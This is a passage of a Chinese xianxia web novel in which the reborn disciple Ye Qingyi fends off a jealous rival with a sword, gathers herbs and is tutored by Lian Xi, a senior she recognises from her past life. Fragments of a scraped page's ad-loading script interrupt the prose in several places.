不过这次她没力气跟他争吵,不知是最近缺觉还是休息太少,她越听越昏昏欲睡,似乎没走到寝舍,就一头栽倒,就地入眠了。 10. 初次交锋 醒来暮色沉沉,院里上了灯,同门们三两结伴,说说笑笑回了寝舍。 叶清漪是被窗外断断续续的说话声吵醒的,晕乎乎起身,发现已经回了宿舍。 “你可算醒了。”裴佩见她醒了,立马给她倒了杯水,“喝点水缓缓,大师兄送你回来的时候你人事不知,怎么都叫不醒,可吓死我了!” 寝舍里只有裴佩一人。 叶清漪喝了点水,余光瞥见桌上的纸袋:“你刚说什么?顾长风送我回来的?” 裴佩点点头,欲言又止。 叶清漪搁下水碗:“但说无妨。” 裴佩小心地开口:“我觉得你最好还是不要直呼大师兄的名讳吧!让人听到不好,回头又要说你不敬尊长了。” 叶清漪冷哼一声:“我的罪名还少吗?不差这一条!” 裴佩有些尴尬,也知道叶清漪的脾气,想了想还是不劝了。 “顾长风送我回来的时候都有哪些人看到?”这个时候弟子们不是吃饭,就是在前山各处闲逛,最是人多眼杂的时候,她晕倒的地方虽然离寝舍很近,可顾长风的举动太过引入注目,但凡有一两个人看到,只怕不出一炷香的时间,全门上下就都知道了。 叶清漪怎么想也觉得这不像顾长风能干出来的事,前世他虽然任由二人的流言满天飞,但从未让人抓住什么实质性的把柄,他也舍不得让其他师妹伤心,都是不澄清也不表态,只苦了叶清漪不胜其扰,毫无准备地成了部分师妹的眼中钉。 这么大张旗鼓的,简直不像他! “这个我就不知道了,大师兄抱……你……回来的时候,我已经在寝舍了,不过估计应该有不少人看到吧!当时门口还有几个师弟围观。”出于大家闺秀的羞涩,说到“抱你”两个字的时候,裴佩有点难以启齿。 叶清漪的心凉了半截,闭了闭眼,又问:“那他有说什么吗?” “他说你可能是没吃饭,所以晕倒了,他不便逗留,拜托我照看你,就走了。” 叶清漪松了口气:算他顾长风识相! “所以你今天一天都没吃饭吗?”裴佩问。 “早上……应该吃了个包子,中午趴桌上睡了一觉,醒来也不太饿就打算等下学后直接吃晚饭,谁成想……” “谁成想某人被戒律长老点名回答问题,结果答不上来,又被罚抄书了!呐,给你,下午膳堂有桃花糕卖,我买多了,分你一些。”裴佩说着递上一小包糕点,里面几块粉色糕点香甜扑鼻。 叶清漪道了谢接过:“你别说,还真馋一膳堂的点心了。” 说着拿了一块吃着,味道不错,只是不比云宸小厨房里的,叶清漪去了后山便一直馋前山的伙食,唯独这桃花酥,她最爱云宸小厨房这一口,在其他地方都不曾吃到过。酥脆的外皮绵软香甜,里面裹着甜度适中的流心,一口下去,千种滋味,层层叠叠,相辅相成,互不干扰,一膳堂的虽好,却少了云宸独家制作的流心,总觉得寡淡。 “我最喜欢绿豆糕,可惜卖完了。”裴佩在她身旁坐下,眼神不时留恋地看着叶清漪手里的点心。 叶清漪从回忆中回过神来,笑着将剩下的递给她:“一起吃吧!” “好啊!”裴佩喜笑颜开,也拿了一块,“不过你刚说什么一膳堂,我们不就一个膳堂吗?难道还有别的?” 叶清漪拿糕点的手一顿:“这……” 她叫习惯了,忘了她们现在还不知道后山的情况。 “你听错了吧!是不是饿得出现幻听了,来,再吃一块!”叶清漪热情招呼着,企图转移她的注意力。 “我晚饭吃得饱饱的,现在在用吃点心的胃吃罢了!”裴佩还想再追问,门外传来一声厉斥,有人颇为不客气地喊着叶清漪的名字,让她滚出去。 裴佩被这阵仗吓到,无措地看着叶清漪。 “叶清漪,给我快点滚出来,别逼我进去抓你!”外面还在骂骂咧咧,引了不少人过来围观。 叶清漪认出这声音,是凌雪瑶。看来是为顾长风来的,只是她没想到消息竟然传得这么快! 叶清漪拿着糕点出去,裴佩也紧随其后。 凌雪瑶怒气冲冲站在她们寝舍门口,还带了佩剑。 叶清漪一眼就看到了:“你居然有佩剑?” 凌雪瑶脸上难掩得意之色:“怎么样?怕了吧!让你再敢装柔弱接近大师兄!我怎么早没看出来你心机这么深沉呢!说!之前大胆冒犯大师兄,是不是也是为了引起他的注意?” 一番话说得合情合理,逻辑自洽,令叶清漪叹为观止。 “没想到你不仅蠢,还自以为是!”叶清漪摇摇头,又塞了块糕点吃着。 “你说什么?我看你是找死!”凌雪瑶毫无意外被激怒,用剑把指着叶清漪。 裴佩上前一步:“凌雪瑶你想干嘛?云仞门规可是严谨同门斗殴的!” 叶清漪只是冷冷看着凌雪瑶,门规是规定了,但在凌雪瑶身上未必有效。 院内只点了一圈风灯,光线昏沉,即便如此,叶清漪还是清楚地看见凌雪瑶脸上的不屑:“我什么时候斗殴了,不过找叶师妹切磋切磋,好让她查缺补漏,尽快提升修为!我这也是为了她好啊!” 裴佩据理力争:“前两年是不能修心法的,何来切磋一说,要提升修为那也是长老和师兄们的事,几时轮到你来插手了!” 裴佩的话没错,凌雪瑶自然也很清 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 楚,但如今她爹修言长老是代理掌门,戒律是绝不可能罚凌雪瑶的,如今她正是毫无顾忌的时候,根本不把门规放在眼里。 可怜修言长老兢兢业业、严于律己,唯一的女儿却成了他最大的败笔。 “你这么帮着她,是想一起被修理吗?”凌雪瑶抬手握住剑柄,缓缓将剑拔了出来,一道寒光顿时在暮色中闪过。 霜华剑,修言亲手所铸,虽不是威力最强,但是他众多佩剑中最均衡的一把,原来这么早就给凌雪瑶了! “你!”裴佩气结。 叶清漪伸手将糕点塞给她,顺势将她往后推了推:“替我拿好,你别插手。” 凌雪瑶见她走上前,一仰脖子:”怎么?不躲在别人后面了?” 叶清漪轻笑:“你呢?怎么不装柔弱了?你在顾长风面前可不是这个样子!” 一句话又激怒了凌雪瑶:“你还敢提大师兄!我今天就让你知道知道,惹到我凌雪瑶的下场!” 凌雪瑶抬手,长剑直指叶清漪。 裴佩默默退回到寝舍门后,和她们保持距离,围观的人也退到了一丈外,在场之人对灵剑都很是陌生,不敢贸然上来劝架,而且也着实不知道该帮哪边! 叶清漪其实也有点没底,如今的她没有真气护体,很容易被利器所伤,不过如今凌雪瑶也没有真气辅助,霜华剑在她手里只是一把普通的长剑,顶多受些皮外伤,不会伤及根本。 但她也不会任由凌雪瑶伤到她。 如今她虽没修炼心法,但前世的一些招式她还是记得的,只是没了真气加持,速度和威力都大打折扣,不过对付如今的凌雪瑶还是可以一搏的。 “来吧!”叶清漪勾勾手指,“不是早就想打我了?怎么不动手?” 凌雪瑶虽然被惯得不知天高地厚,基本的规矩她还是知道的,带这把剑来原本也只是想吓唬吓唬叶清漪,谁知道她居然丝毫不示弱,搞得她骑虎难下,只好出手,左右闯了祸还有爹爹和大师兄护着。 霜华剑是开了刃的,力道又趁手,凌雪瑶又是第一次拔剑,没有章法,一出手便控制不住,直直朝叶清漪刺去。 叶清漪已经预估到她的第一招,一般不会用剑的人都这么出手,她也想好了应对,先侧身闪过,再劈手夺过霜华剑,最后抬脚一勾,让凌雪瑶借着惯性往前摔去。 三招就能拿下! 可她忘了自己如今对身体的掌控程度,刚一侧身,不等接上第二招,就发现自己的反应速度很慢,慢到肉眼可见的程度,凌雪瑶自然也发现了,及时调整了方位,紧接着追了上来,最后就变成她在前面跑,凌雪遥在后面追,好在她及时调整了战术,寻了个空当儿撒开腿就往外跑去。 11. 以茶治茶 可她现在的体力也不如以前,跑也跑不快,没跑出去几米远就喘的不行,喉咙冒着凉气,加上刚才吃了点东西,这一跑岔了气,肚子剧烈地疼了起来。 万幸凌雪瑶平日养尊处优的,也跑不动,在后面拿着剑边追边喊:“叶清漪,你站住!你再往前跑一步试试!” 叶清漪不是傻子,她才不站住!她跑得更快了! 不过她还没跑出去多远,就撞到了闻讯赶来的顾长风和几位师弟。 夜色太黑,寝舍前的小路上没什么灯,路况又不好,叶清漪被路中间一块凸起的石头绊了一脚,整个人不受控制地摔出去,幸好被顾长风接住了。 “叶清漪,你给我站住!”凌雪瑶的叫骂声从身后不远处传来。 叶清漪看着眼前扶着自己的顾长风,暗暗勾起嘴角,计上心头。 她也不放开,顺势扶着顾长风的胳膊,语气虚弱:“大师兄,我好像……扭到脚了!” 顾长风果然没有推开她,看了看她的脚,想说什么又没开口。 这时凌雪瑶已经拿着剑张牙舞爪地追上来了,一见叶清漪靠在顾长风怀里,气得当着顾长风的面要砍她! “凌师妹不可!”顾长风难得呵斥凌雪瑶,抬手将霜华剑击落。 灵剑应声倒地,发出一阵脆响。 叶清漪看不清凌雪瑶的脸,但不妨碍她想象对方是什么表情,她强忍笑意,学着凌雪瑶无辜的语气问:“大师兄,凌师妹今日不知怎么生气了,拿着剑不由分说地冲上门,喊打喊杀的,不知是不是我哪里得罪了凌师妹……” 叶清漪一边说还一边往顾长风的肩膀上靠,边上几个师弟都看傻了,又不敢说什么。顾长风更是整个身子都僵住了,手都不知道往哪放…… “谁是你师妹!”凌雪瑶气得鼻子都歪了,弯腰准备捡起霜华。 顾长风向一旁示意,立刻有师弟会意,上前将霜华收了。 “师尊给你佩剑是让你防身的,不是用来追杀同门的!”顾长风冷冷道。 “大师兄,你居然凶我!你从来没对我说过这样的话!叶清漪到底给你灌了什么迷魂汤,你这么偏心她!”凌雪瑶从没受过这样的气,已经开始胡言乱语了。 “凌师妹慎言!”饶是素日自诩宽厚的顾长风,听到这话也没控制住自己的脾气。 一旁的师弟见状连忙劝和几句:“师妹气糊涂了,大师兄不是这个意思,他也是怕你随意拔剑伤了自己。” “是吗?”凌雪瑶小声反问。 顾长风大约也意识到自己刚才失言了,便没有否认,只是保持沉默。 眼见这事要被他们这样淡化了,叶清漪看了眼顾长风,又开始了:“唉,今日幸好遇到大师兄了,否则我只怕要惨死在凌师妹的剑下了,方才若不是我跑得快,只怕也免不了要挨上几剑,我受点小伤倒无所谓,只是不知其他同门怎么想,日后是不是谁不小心惹得凌师妹不高兴,就要挨上一两剑,这样下去,只怕不利于修炼呀!” 凌雪瑶气得话都说不利索了:“你休要血口喷人!你我的恩怨关其他人什么事!” “啊!没记错的话,算上今日,我和叶师妹总共才见了两次面,何来恩怨一说?还是说……是因为大师兄?呀!大师兄你快别扶我,我自己能行。” 叶清漪说着就要推开顾长风,又因为“扭到脚”险些摔倒,再次被顾长风扶住,还扶得更紧了。 “你!你!!!你别在那装了!大师兄,她根本没事!”凌雪瑶气得直接要上来拉她。 “师妹还不肯罢休,是要让我请师尊他老人家亲自教导你吗?”顾长风一边护着叶清漪一边道。 听到修言的名号,凌雪瑶知道顾长风是真的生气了,也不敢轻举妄动,只用撒娇的语气喊:“大师兄,你怎么信她不信我呢,她真的是装的!” “若阳,送凌师妹回去!”顾长风不为所动,发话让边上的师弟将凌雪瑶带走。 那叫若阳的又带了位师弟,两个人拦在凌雪瑶面前,半推半请地要将凌雪瑶带走。 这时其他围观的弟子也赶到了,凌雪瑶哪里受过这样的气,一面走一面回头指着叶清漪:“叶清漪你给我等着!我跟你没完!” “大家都别看了,散了吧!”剩下几 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 位师弟上前疏散围观的同门,留下顾长风和叶清漪二人。 等人走后,叶清漪立马站直了,脸上的笑意也没了:“我忽然好了,多谢大师兄了,我先走了。” 顾长风低头看了看,又叹了口气。 叶清漪一刻也不想多待,抬脚就走。 “如果这样叶师妹觉得开心的话,我倒不介意被你随手拿来利用,只是以凌师妹的性子,以后肯定还会有类似事情发生,叶师妹你还是多注意吧!” 叶清漪脚步顿了顿:“多谢师兄提醒,要想避免今日这类事件,最主要还是大师兄你,若能跟我保持距离,想必凌师妹也不会像今日这般了。” “叶师妹!”顾长风还想说什么。 “与其在此与我多费口舌,大师兄还是想想怎么去哄你的凌师妹吧!”叶清漪说完再不多言,径直离开。 只留给了顾长风一个决绝的背影。 顾长风在夜风里驻足良久,望着叶清漪离去的方向,身影显得有些寂寥,他从没见过叶清漪这般性子的人,总觉得她自带忧愁的气质,娇小的躯壳下似乎藏着很多秘密,还有,她好像很了解他,还对他有着莫大的敌意,可他们分明没见过几次面。 不过叶清漪有句话倒是提醒了他,今天这番波折归根究底还是因为他,想来是该有所行动了…… 回去的时候室友大部分都回来了,都是一脸担忧,见她回来,裴佩第一个冲过来迎接她:“清漪,你还好吗?快让我看看受伤了没!” “没事,事情都解决了。” “没事就好,可吓坏我了!” 其他人也关切地问了几句,知道事情处理妥当后,都放下心来,折腾了这许久,叶清漪也累了,靠着床头休息。 想到适才顾长风的反应,总觉得他怪怪的,前世他们一开始接触并不频繁,如今这是怎么了?顾长风好像也变了不少,还有他今天对凌雪瑶的态度,也是从未有过的,他最后说的那些话……所以他一直知道自己是假装受伤的? 实在琢磨不透。 叶清漪越想越没头绪,索性不想了,扯过被子蒙头睡去。 12. 侧峰相遇 次日一早,叶清漪就将这些事情抛之脑后了。 虽然上课时凌雪瑶还是在位置上愤愤地看着她,但叶清漪已经不打算搭理她了。 如今当务之急是采归墟草,寻一处隐蔽之所开始修炼。 这戒律老儿正经东西没怎么教,课倒是排得挺满,她也不能缺课得太明显,是以大部分时间都被困在问道堂,只能趁休息的时候执行计划。 中午大部分人都会在寝舍午休,正好可以避人耳目。 上午散学后,叶清漪便趁没人注意,半路转道去了侧峰。 如今刚入了夏,归墟草长势正好,若赶上万物凋敝的时节,她还得再等上几个月。 侧峰人迹罕至,杂草丛生,如今山蛇活动频繁,保险起见,叶清漪捡了根树枝,拍打着草丛前进。 归墟草长得不显眼,和寻常杂草混杂而生,但其茎叶细长,且只在顶端开一枝花,与寻常杂草有所区别,多加留意便很容易找到。 果不其然,没走多远,就看到不远处的杂草间有几株紫色的小花苞,正迎风舞动着身姿。 叶清漪一喜,紧走两步上前,摘了足够的量,收进袖带,正欲离去,一转身,赫然与一只浑身锃亮的黑蛇四目相对。 那蛇通身黑亮,个头不大,正在不远处朝叶清漪吐着信子,发出呲呲的声音。 叶清漪认得此蛇,乃是黑王蛇(注),她在魔界时曾养过一条,王蛇在魔界也有很多人豢养,性情温顺,可对付毒蛇。 可眼前这条看起来好像攻击性不低。 不及多想,那黑蛇已凌空而起,直朝她而来。叶清漪浑身发紧,定在原地,眼看那蛇即将咬上来,叶清漪忽然一抬胳膊,单手一送,将手里的木棍直直对着蛇口刺去。 这一下正中蛇口,那蛇意识到不好时已然太晚,蛇身在惯性的作用下一路前行,直接被木棍串起了头尾。 蛇头恰好停在距离叶清漪的手一寸远处。 见那蛇整个身子都被木棍撑起来了,不由嫌弃地皱了皱眉,准备扔了。 “好厉害啊!”身后传来一声音调婉转的赞叹。 叶清漪转过身去,只见身后站着一位身着白色蓝边绣莲花云锦长袍,发髻高束的男弟子,看样子不过十八九岁,面若桃花,眉眼清秀,带了点女相,一双桃花眼自带柔情,嘴角噙着漫不经心的戏谑。 其衣着跟学徒制服很像,但形制上又不太一样。 叶清漪微微欠身:“这位师兄有些面生,此前似乎从未见过?” “我不常来前山,你自然少见,”男弟子说完,脸色一变,“你是来采归墟草的?” 叶清漪低头,刚才动作幅度太大,归墟草不慎掉出袖口。 叶清漪慌乱抬头,那弟子似笑非笑看着她,“私采仙草可是要被罚的,师妹为何要冒险孤身来此采仙草呢?” 叶清漪连忙将归墟草塞好:“师兄不要说笑了,我只是一时迷路走到此处,见这草生得好看便采了一些,不知道是什么仙草,还以为是寻常的野花。” “师妹不必担忧,我也不是那起子爱管闲事之人,不如你把这黑王蛇送给我,我就 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 当今日从未见过师妹。” 叶清漪看了眼手上的王蛇串串:“你要这蛇作什么?” “这个就不劳师妹费心了。” 叶清漪想了想,将王蛇交给他:“说话算话啊!” “自然。” 叶清漪转身欲走,身后又传来温润的声音,“近来时日渐暖,侧峰多有毒物出没,师妹还是少来为好。” 叶清漪没再多言,举步离开了。 在她离开后,身后的人若有所思看着手中的黑王蛇,眼神逐渐凌厉。 虽然被耽搁了一点时间,好在叶清漪还是顺利赶上了下午的课,就是没吃饭腹中饥饿,不过倒是不虚此行,如今得了归墟草,总算可以安心修炼了。 折腾了一中午,下午的课她又睡死了过去,晚上毫无意外被留了堂,罚抄门规。 抄得差不多了,她就回去了,之后趁大家都睡了,才开始处理采来的归墟草,将杂草摘出去,再剪去较长的茎秆,剪成可以放入香囊的长度,再放入早已准备好的香囊中,便可随身佩戴了,野生的效力虽不如仙门自行培育的,但以她如今的修为也足够用了。 收拾完这些,叶清漪不免又想起白日遇到的那只蛇,还有那个弟子,总感觉他眉眼像是有些眼熟,又想不起来像谁,若能再遇见,倒要问问他叫什么,只是今日遇见的黑王蛇也很奇怪,王蛇性情温顺,仙山又灵力充沛,不应该变得那么凶残,那弟子又特意要了王蛇去,看来里面定有蹊跷,不过这也不是她该操心的,如今当务之急是寻找修炼之所,早日提升修为。 13. 被迫加课 因着连日奔波寻找修炼之地,叶清漪又在戒律老儿的课上睡着了。 “叶清漪!叶清漪!!!”一阵急促的敲击声在耳边炸开。 叶清漪瞬间清醒,腾地一下站起:“到!” 戒律气冲冲拿着戒尺站在她桌旁。 “你这天天晚上干什么去了,一上课就犯困,别的师弟师妹都不困,就你困得跟个什么似的!” 戒律一连串数落着,越发不堪入耳。 叶清漪虽然脑子还迷糊着,但已经觉察出不对劲,近来戒律已经对她听之任之了,怎的今日这么反常? 回过头,凌雪瑶正一脸得意。 叶清漪顿时明了,想来戒律一心想增进他和修言的关系,如今得了机会,势必要好好表现一番了。 “我在同你说话!为何不答?”戒律连连挥着那戒尺,都快打到叶清漪脸上来了。 叶清漪定了片刻,忽然伸手一把抓住了戒尺。 在场之人都惊呆了。 “叶清漪这是怎么了?她疯了吗?竟敢公然忤逆长老?” “等着吧!她肯定要被除名了!之前惹怒凌雪瑶,如今又顶撞长老,这下谁也保不了她了!” “你干什么?你还想造反啊!”戒律气得一个劲哆嗦,却无法将戒尺拽回去。 叶清漪丝毫不松手,无声凝视着戒律。 戒律一愣,眼中满是错愕。 二人僵持不下。 边上的裴佩扯了扯叶清漪的袖子,示意她算了。 叶清漪这才放了手。 “罢了罢了,你出去站着吧!”戒律不耐烦地挥了两下戒尺。 叶清漪还是不动。 “还要我请你吗?”戒律的语气明显弱了下来。 叶清漪:“你要不还是把我关起来吧!” “长老,叶清漪她不是这个意思……”裴佩连忙开口,又劝叶清漪跟戒律认错。 叶清漪:“长老授课实在枯燥,我怕之后又睡着惹长老生气,不如将我关起来算了。” 这样她刚好有时间闭关修炼心法。 裴佩急得差点跳起来,连忙替叶清漪求情:“长老息怒,叶清漪她不是这个意思……” 戒律听完抖得更厉害了,戒尺对着叶清漪上下比划着:“你,你……” 其他人都在看好戏,等着戒律发怒。 结果戒律“你”了半天,用戒尺一敲手心,来了句,“你……你说的对!” 凌雪瑶得意一笑。 叶清漪也准备去关紧闭。 结果戒律却说:“教不严师之惰,从今天起,你每天留下加课,我就不信教不会你!你们先自行温习,我现在就去改教案。” 戒律一甩胳膊,急匆匆走了。 凌雪瑶的笑僵在嘴角…… 叶清漪也大为震惊:啊??? 弟子们都炸锅了,凌雪瑶愤愤一拍桌子,气冲冲跑出去了。 有位师妹起身追了出去。 叶清漪认得此人,二师妹唐旖柔,前世名次总排在她后面,不过二人不太熟络。 唐旖柔也是跟叶清漪同一批进山的,与凌雪瑶走得比较近,只是二人性格着实不同,凌雪瑶嚣张跋扈,唐旖柔为人正直,与人为善,但二人却是至交好友,也不知道她们是怎么玩到一起的,想来唐旖柔定是被凌雪瑶蒙蔽了。 前世叶清漪就很想向唐旖柔揭露凌雪瑶的真面目,但又不想多管闲事,便没有多话。 若有机会,她再好好劝劝唐旖柔吧! 如今还是先操心自己吧!戒律若要给她加课,便更没时间寻修炼之处了。 虽然她也能再次破解问道堂结界,但此举过于高调,不是良策,看来,她只能尽快提高成绩,达到让戒律满意的标准。 既然如此,那她就将所有修仙派系、云仞发展史都背下来。 不就是背书嘛,心法她都能背会,这些简直小菜一碟! …… “还没记下吗?”戒律今日第三十八次真诚发问,“这可是最基本的仙门体系。” 叶清漪顶着一对乌青的眼圈抬起头:“啊?还,还差一点……我马上就记住了!” 戒律叹了口气,“罢了罢了,不宜操之过 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 急,晚点我还有事,今日就先到这儿吧!” 叶清漪收拾着东西,今日本是休沐,同修们都出去玩了,只有她被戒律老儿拘在这儿。 这时一个弟子从外走进问道堂,叶清漪一看,竟是那日在侧峰遇到的弟子。 对方进来扫了一眼,叶清漪连忙将脑袋埋下去,避开他的视线。 “连喜来啦!”戒律眼尾挤出三根笑纹,“稍等片刻,我马上就好。” 叶清漪像是被雷劈了,定在当场。他竟然是连喜!难怪觉得眼熟,前世她遇见连喜已是七八年后,模样也跟如今不大相同了,一时确实认不出来。没想到十几岁的连喜竟是这般模样,可是他不是魔修吗?怎么会是云仞弟子?戒律对他还很是客气。 连喜拱手跟戒律见礼:“不急,上次长老说的那两本书我给您寻到了,所以过来告知一声。” 叶清漪正呆滞当场,戒律又想起她了:“该是新制定的教学方案不适合你,晚点回去我再想想,明天记得比平时早到半个时辰,定是白日脑袋昏沉,所以记不住,想必早起神清气爽,效果会更好。今日先到这儿吧!” 寅时起身,确定她能神清气爽吗?要不她直接在问道堂睡吧? 这一来,连喜自然又看向她,二人四目相对,连喜远远朝她颔首示意,叶清漪点头回礼,认命地开始收拾东西。 连喜想了想,同戒律说:“长老辛苦,您的身子哪儿受得了这般操劳,为了教师妹要是将您自个儿累坏了,这一屋子仙徒岂不是没人教了吗?” 戒律似乎觉得很有道理:“只是她实在学不会啊!我也是没办法了。” 戒律思忖片刻,眼神在连喜和叶清漪之间来回打量着,忽然一拍手:“不若这样,你替我教吧!” “这不合适吧!”连喜推诿着。 戒律捋着胡子,缓缓开口:“不必过虑,私下辅导师妹属于助人为乐,还为长老分忧,无人会有异议。若你教的好,藏经阁的珍稀藏本以后随你调阅。” 连喜眼神一亮:“当真?” “自然当真。” “……那好吧!” 14. 辅导功课 眼见将叶清漪这个烫手山芋送了出去,戒律眉结纾解,阴郁之色一扫而空,二人就此说定,之后戒律又嘱咐了叶清漪几句,带着连喜离开了。 次日她早早过来等着连喜,没成想睡着了。 “叶清漪,醒醒……别在这儿睡,容易着凉。”叶清漪睡眼惺忪,抬头一看,连喜的脸近在咫尺。 外面天光大亮,阳光洒进问道堂,洒在连喜的身上,给他镀上了一层温暖的金色光晕。清风徐来,带着春日早晨独有的清冽,和连喜身上那浅蓝色的云服一样,给人清爽之感。叶清漪深吸一口气,感觉灵台都清明了。 “抱歉,起得有点早,不小心睡着了。” “无妨,给你个东西。”连喜掏出一把草来。 “这是……”叶清漪不敢置信,连喜拿的是后山仙门培育的归墟草,看上去很新鲜,该是刚摘下来不久。 “你不是送了我礼物,这个是回礼。”连喜含笑递上。 “一条蛇也叫礼物?” “对我而言是的。” 叶清漪:“你为何要送我这个?” “我见你在采摘这草,只是侧峰有毒蛇出没,我怕师妹你那些沾了蛇毒,还是不要用为好。” 叶清漪想想也是,便不再推辞:“那多谢师兄了。” 连喜直起身子:“你先别急着谢我,我这也是讨你的好,若是我教的不好,你也看在这归墟草的份上,担待一二。” 叶清漪客套着:“哪里?师兄说笑了。” “对了,还没问过你的名字。” 叶清漪报上自己的名字。 连喜问过是哪两个字,又介绍了自己的名字,便开始正式讲课。 连喜先询问了她现在在学的书籍,又拿过她带的书一一翻看,很快替她规划好了学习计划。 “先学《修仙基础概论》,再看这两本,最后再学《仙门五十问》。” 叶清漪一一记下,正梳理着思绪,只觉边上一暗,一个人影落下,叶清漪僵硬地转头——连喜竟在她旁边坐下了。 “怎么了?”连喜含笑看着她,似乎没觉得有什么不妥。 叶清漪猛地移开视线:“没什么。” “那我们开始吧!” * 一上午时间很快便过去了,叶清漪学了许久,腹内开始鸣鼓,但还没到休息时间。 “饿了?正好我带了点糕点,你吃点垫垫吧!”连喜掏出一纸袋点心。 叶清漪道了谢:“学了这么久,还真有些饿了。” 打卡纸袋一看,里头是好几块桃花酥:“师兄准备的还挺周全。” “背书耗神,也容易饿,你快尝尝。” 叶清漪笑笑,拿起一块往嘴里塞,刚咬了一口,叶清漪忽然怔住,又低头失魂落魄地看了几眼手中的桃花酥。 这味道…… 连喜见她举止怪异,甚是不解:“师妹这是怎么了?” “你这桃花酥哪儿买的?”她急急拉着连喜的胳膊。 “后山膳堂买的。”连喜一脸茫然。 叶清漪看着连喜嘴巴一张一合,一个字也没听进去,她绝不会记错——这是流云殿的点心,云宸亲手做的,旁人做不出这味道,可连喜却说是膳堂买的,明显是刻意隐瞒,难道连喜竟是云宸的弟子? 前世她的确听说过,在她之前,云宸还收了两个弟子,只是都已经学成下山了,云宸原也不打算收徒,是以众人都以为叶清漪要被踢出亲传弟子之列,不料却被云宸 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 破格收下了…… 想来,叶清漪之前那位师兄就是连喜,只是因为一些变故被逐出师门,为了云仞的颜面,便只说是学成下山,如此说来,连喜竟是她同门师兄!为何未听他提起过呢? 直到连喜在她眼前挥手,她才回过神来。 连喜一脸担忧:“怎么了?可是不合胃口?” 叶清漪摆摆手,含糊两句应付过去了。 这么说来,前世第一次在魔界见面,连喜就知道叶清漪是她的师妹,可他却没有表明身份,大约是不想叶清漪每次见到他时,都会想起云仞山的往事,也不想叶清漪在跟他相处时,是因为同门师兄这层关系,才善待他。到了后面,他就更没必要提起了,以免节外生枝。 只是究竟因为何事,可以让连喜整个人像没在云仞出现过一样,流云殿内没有他一丝一毫的踪迹,云宸也从未提起过他只言片语。 甚至如今她都不能确定,在他二人之前的那位师兄,究竟是不是“学成下山”了? 当晚,她又梦到了在云仞山中的连喜,和她一样,被误解陷害,百口莫辩,云宸将其逐出流云殿,四大长老合力将他赶出云仞山,抹去了在云仞生活过的一切痕迹…… 叶清漪惊醒时浑身僵住,从骨子里透着冷,梦里那种绝望的感觉狠狠攥着她心口,让她窒息。 缓了好长一会儿,才意识到是梦。 抬头发现窗外已然破晓,灰蒙蒙的,像是万物将要苏醒的错觉。 室友们都还睡着,晨钟未响,但叶清漪需要起身去问道堂了。 叶清漪翻身下床,穿好鞋子出门,走之前路过门口的桌子,那袋没吃完的桃花酥还在桌上。 叶清漪怔怔地想,这一次他们的命运会不同吗? 15. 初学御剑 叶清漪又开始了高强度的针对性学习,连比戒律耐心多了,说的也浅显易懂,经过这些日子的手把手辅导,她还真比之前进步了不少,不过有些内容还是时常记混,有些背完又忘了。 连喜倒是好脾气,每次都不厌其烦地再教她一遍,倒是她自己,气得捶胸顿足,恨不得直接把书吃了。 “怎么就是记不住呢!”她不会是前世被无烬之火烧坏了脑子,变傻了吧! “别急,记不住正常的,这些大事记全是一个个年份,间隔还不一样,事件也毫无规律,一会儿记录掌门悟道,一会儿记录弟子们合力围剿妖兽,一会儿又是藏经阁新收录了哪本绝世心法……有时隔好几年都没有记录,有时同一年就有好几件大事,实在太容易记混了,我之前也是,经常记混事件和年份。” “真的吗?” “真的。”连喜神情真挚。 叶清漪备受鼓舞,决定重振旗鼓。 这一日照旧结束了日常的课程,由于起得太早,叶清漪趴桌上结结实实睡了一觉,醒来阳光正好,洒满堂内。 开春已有些日子了,天气还没完全热起来,正是乍暖还寒之时,叶清漪发现自己身上披着连喜的外袍,堂内空无一人,边上的位置也是空着的。 估计连喜见她没醒,就提前走了吧! 叶清漪取下连喜的外袍,愣愣出神,原本以为这一世不入魔界,便不会再和连喜相见,她早就存好了放下过去的心思,如今二人却在这云仞山相遇了,她开心之余,也有所纠结,不知日后该如何与连喜相处。 虽然再次相遇,但前世的那段经历已不复存在,二人如今这般,她认为已是极好的境况了。 至于其他的,便顺其自然罢! …… 下午是操练课,由负责传授御剑御兽的执明长老教授,不过因为刚开始,执明长老并没有亲自来,而是让他的亲传弟子泽成负责。 如今虽进山半年有余,但还远不到学御剑的时候,无非先从执剑手势、出招技巧以及一些简单的招式学起,也不会给每人佩剑,第一年先用木剑,到后面过渡到未开刃的铁剑,熟悉重量和手感,到了第三年,有了一定运气基础,才可以进入藏宝阁获取法器。 最初的几节课是可以自由活动的,让弟子们自行熟悉,为避免惹出事端,离开练武场时需要将木剑上交,下节课再发放,若是不愿练剑也不强求,可以提前离开,叶清漪早早将木剑上交,回来补觉了。 睡到一半,陆续有不少人也回堂内休息,因是自习,也就没往日那般拘谨,弟子们三两成群,兴奋地聊着课上的趣事,原本安静的堂内顿时喧闹起来。 她被吵得没法睡,索性坐起身,在位子上伸着懒腰,前世她就不理解,她们怎么总有这么多话聊,什么都能聊两句,大到即将到来的月度考核会考什么内容,小到哪位师兄新换了什么样式的剑穗,都能聊起来。往日最常被师弟师妹谈及的自然是顾长风,如今的话题又大多是围绕新来前山的泽成了。 叶清漪沉默听着,越发觉得无趣,她不关心也不参与,只觉得聒噪。 偏有人还来她跟前蹦跶,叶清漪正闭目在位置上晒太阳,忽然桌前一暗。 叶清漪偏头,只见三个不知道名字的师妹站在她面前。 叶清漪眯了眯眼,视线乍然移到阴影处,一时不能适应,几人白色的衣服落在她眼里都是绿的。 “叶清漪,”其中一位“小绿人”语气不善地开口,“你怎么总是一个人待着,一点都不合群!” “是啊,练剑课不上,吃饭也不和我们一起,连个要好的人都没有,你也该学着跟大家一起玩啊!”第二位“小绿人”提高音调说着。 “人家才看不上我们呢,和几个师兄吃饭都忙不过来呢!”第三位在最后柔弱地补了一句,语气刻薄得恰到好处。 叶清漪原本也不想搭理,可这几人将她的阳光挡了个正正好好,让她很是困扰。 